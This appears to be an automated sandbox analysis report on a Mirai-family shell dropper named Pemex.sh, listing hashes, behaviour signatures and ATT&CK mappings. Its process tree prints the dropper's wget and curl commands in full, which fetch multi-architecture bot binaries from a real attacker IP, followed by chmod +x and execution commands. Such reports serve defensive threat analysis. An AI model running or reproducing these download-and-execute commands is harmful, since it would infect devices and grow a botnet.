Analysis
-
max time kernel
105s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
23-12-2024 06:19
Static task
static1
Behavioral task
behavioral1
Sample
Pemex.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
Pemex.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
Pemex.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
Pemex.sh
Resource
debian9-mipsel-20240418-en
General
-
Target
Pemex.sh
-
Size
1KB
-
MD5
e18ba04d72384ac85e6117c774f6d4f9
-
SHA1
6cb8e9a2da2db042da0875a08f43cc867b8a2c5b
-
SHA256
289876bf62e9a2a364da63cceb9a865c84792377a700afb676811ee53113919e
-
SHA512
3e69c0fdb07347f2dcd8d3b3d9514d392a572173afec60fd702180cf3f7d5d21bca67dff2cb022641c7f0a2df4b817f1589a6a1599726ddeea67ba5c768e954d
Malware Config
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
Contacts a large (172668) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 10 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1502 chmod 1539 chmod 1554 chmod 1567 chmod 1606 chmod 1515 chmod 1528 chmod 1582 chmod 1593 chmod 1617 chmod -
Executes dropped EXE 10 IoCs
ioc pid Process /tmp/awoo 1503 awoo /tmp/awoo 1516 awoo /tmp/awoo 1529 awoo /tmp/awoo 1540 awoo /tmp/awoo 1555 awoo /tmp/awoo 1568 awoo /tmp/awoo 1583 awoo /tmp/awoo 1594 awoo /tmp/awoo 1607 awoo /tmp/awoo 1618 awoo -
Modifies Watchdog functionality 1 TTPs 20 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/misc/watchdog awoo -
Enumerates active TCP sockets 1 TTPs 10 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads system network configuration 1 TTPs 10 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo -
description ioc Process File opened for reading /proc/1173/fd awoo File opened for reading /proc/1175/fd awoo File opened for reading /proc/1298/fd awoo File opened for reading /proc/1045/fd awoo File opened for reading /proc/1298/fd awoo File opened for reading /proc/492/fd awoo File opened for reading /proc/1099/fd awoo File opened for reading /proc/450/fd awoo File opened for reading /proc/1303/fd awoo File opened for reading /proc/474/fd awoo File opened for reading /proc/1122/fd awoo File opened for reading /proc/1489/fd awoo File opened for reading /proc/1159/fd awoo File opened for reading /proc/1154/fd awoo File opened for reading /proc/1172/fd awoo File opened for reading /proc/679/fd awoo File opened for reading /proc/1558/fd awoo File opened for reading /proc/1619/fd awoo File opened for reading /proc/1218/fd awoo File opened for reading /proc/1519/fd awoo File opened for reading /proc/1/fd awoo File opened for reading /proc/1114/fd awoo File opened for reading /proc/546/fd awoo File opened for reading /proc/1881/exe awoo File opened for reading /proc/936/fd awoo File opened for reading /proc/1244/fd awoo File opened for reading /proc/1152/fd awoo File opened for reading /proc/1506/fd awoo File opened for reading /proc/1506/fd awoo File opened for reading /proc/1106/fd awoo File opened for reading /proc/1172/fd awoo File opened for reading /proc/1135/fd awoo File opened for reading /proc/1278/fd awoo File opened for reading /proc/1562/fd awoo File opened for reading /proc/1118/fd awoo File opened for reading /proc/1118/fd awoo File opened for reading /proc/556/fd awoo File opened for reading /proc/1245/fd awoo File opened for reading /proc/1530/fd awoo File opened for reading /proc/1314/fd awoo File opened for reading /proc/423/fd awoo File opened for reading /proc/1151/fd awoo File opened for reading /proc/1152/fd awoo File opened for reading /proc/1007/fd awoo File opened for reading /proc/489/exe awoo File opened for reading /proc/546/fd awoo File opened for reading /proc/1695/exe awoo File opened for reading /proc/1467/fd awoo File opened for reading /proc/1106/fd awoo File opened for reading /proc/1122/fd awoo File opened for reading /proc/1099/fd awoo File opened for reading /proc/582/exe awoo File opened for reading /proc/1055/fd awoo File opened for reading /proc/1099/fd awoo File opened for reading /proc/1045/fd awoo File opened for reading /proc/1507/fd awoo File opened for reading /proc/1336/fd awoo File opened for reading /proc/1175/fd awoo File opened for reading /proc/1543/fd awoo File opened for reading /proc/641/fd awoo File opened for reading /proc/1096/fd awoo File opened for reading /proc/1543/fd awoo File opened for reading /proc/1114/fd awoo File opened for reading /proc/1110/fd awoo -
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1507 wget 1513 curl -
Writes file to tmp directory 20 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/loligang.arm7 curl File opened for modification /tmp/loligang.ppc curl File opened for modification /tmp/loligang.m68k wget File opened for modification /tmp/loligang.sh4 wget File opened for modification /tmp/loligang.sh4 curl File opened for modification /tmp/loligang.x86 curl File opened for modification /tmp/loligang.mips curl File opened for modification /tmp/loligang.ppc wget File opened for modification /tmp/loligang.arm5 curl File opened for modification /tmp/loligang.arm6 curl File opened for modification /tmp/loligang.m68k curl File opened for modification /tmp/awoo Pemex.sh File opened for modification /tmp/loligang.mips wget File opened for modification /tmp/loligang.arm4 curl File opened for modification /tmp/loligang.arm5 wget File opened for modification /tmp/loligang.arm6 wget File opened for modification /tmp/loligang.arm7 wget File opened for modification /tmp/loligang.x86 wget File opened for modification /tmp/loligang.mpsl wget File opened for modification /tmp/loligang.mpsl curl
Processes
-
/tmp/Pemex.sh/tmp/Pemex.sh1⤵
- Writes file to tmp directory
PID:1495 -
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.x862⤵
- Writes file to tmp directory
PID:1496
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.x862⤵
- Writes file to tmp directory
PID:1500
-
-
/bin/catcat loligang.x862⤵PID:1501
-
-
/bin/chmodchmod +x awoo config-err-BdnwVs loligang.x86 netplan_2az14oqi Pemex.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-PhQ8Az2⤵
- File and Directory Permissions Modification
PID:1502
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1503
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1507
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1513
-
-
/bin/chmodchmod +x awoo config-err-BdnwVs loligang.mips loligang.x86 netplan_2az14oqi Pemex.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-PhQ8Az2⤵
- File and Directory Permissions Modification
PID:1515
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1516
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.mpsl2⤵
- Writes file to tmp directory
PID:1520
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.mpsl2⤵
- Writes file to tmp directory
PID:1524
-
-
/bin/chmodchmod +x awoo config-err-BdnwVs loligang.mips loligang.mpsl loligang.x86 netplan_2az14oqi Pemex.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-PhQ8Az2⤵
- File and Directory Permissions Modification
PID:1528
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1529
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.arm42⤵PID:1533
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.arm42⤵
- Writes file to tmp directory
PID:1537
-
-
/bin/chmodchmod +x awoo config-err-BdnwVs loligang.arm4 loligang.mips loligang.mpsl loligang.x86 netplan_2az14oqi Pemex.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-PhQ8Az2⤵
- File and Directory Permissions Modification
PID:1539
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1540
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.arm52⤵
- Writes file to tmp directory
PID:1544
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.arm52⤵
- Writes file to tmp directory
PID:1552
-
-
/bin/chmodchmod +x awoo config-err-BdnwVs loligang.arm4 loligang.arm5 loligang.mips loligang.mpsl loligang.x86 netplan_2az14oqi Pemex.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-PhQ8Az2⤵
- File and Directory Permissions Modification
PID:1554
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1555
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.arm62⤵
- Writes file to tmp directory
PID:1559
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.arm62⤵
- Writes file to tmp directory
PID:1565
-
-
/bin/chmodchmod +x awoo config-err-BdnwVs loligang.arm4 loligang.arm5 loligang.arm6 loligang.mips loligang.mpsl loligang.x86 netplan_2az14oqi Pemex.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-PhQ8Az2⤵
- File and Directory Permissions Modification
PID:1567
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1568
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.arm72⤵
- Writes file to tmp directory
PID:1572
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.arm72⤵
- Writes file to tmp directory
PID:1580
-
-
/bin/chmodchmod +x awoo config-err-BdnwVs loligang.arm4 loligang.arm5 loligang.arm6 loligang.arm7 loligang.mips loligang.mpsl loligang.x86 netplan_2az14oqi Pemex.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue2⤵
- File and Directory Permissions Modification
PID:1582
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1583
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.ppc2⤵
- Writes file to tmp directory
PID:1587
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.ppc2⤵
- Writes file to tmp directory
PID:1591
-
-
/bin/chmodchmod +x awoo config-err-BdnwVs loligang.arm4 loligang.arm5 loligang.arm6 loligang.arm7 loligang.mips loligang.mpsl loligang.ppc loligang.x86 netplan_2az14oqi Pemex.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue2⤵
- File and Directory Permissions Modification
PID:1593
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1594
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.m68k2⤵
- Writes file to tmp directory
PID:1598
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.m68k2⤵
- Writes file to tmp directory
PID:1604
-
-
/bin/chmodchmod +x awoo config-err-BdnwVs loligang.arm4 loligang.arm5 loligang.arm6 loligang.arm7 loligang.m68k loligang.mips loligang.mpsl loligang.ppc loligang.x86 netplan_2az14oqi Pemex.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue2⤵
- File and Directory Permissions Modification
PID:1606
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1607
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.sh42⤵
- Writes file to tmp directory
PID:1611
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.sh42⤵
- Writes file to tmp directory
PID:1615
-
-
/bin/chmodchmod +x awoo config-err-BdnwVs loligang.arm4 loligang.arm5 loligang.arm6 loligang.arm7 loligang.m68k loligang.mips loligang.mpsl loligang.ppc loligang.sh4 loligang.x86 netplan_2az14oqi Pemex.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue2⤵
- File and Directory Permissions Modification
PID:1617
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1618
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
64KB
MD52354f2531c0bf296738fa7733c42785f
SHA186508e4ee74c70bf226f6666bf227a12be69dcad
SHA2563d0b5252c0f8736759af8b122612395ea484794afbdeb5435769f3c164d04c93
SHA512eda30463d2e8355af4d6626815aedb78b1b5d43c4df53e4a9a72405074a22e9fd09f54e882b0c5ad5136202907a7e6e599d29d325d6e0b3188e6f8ff77abe679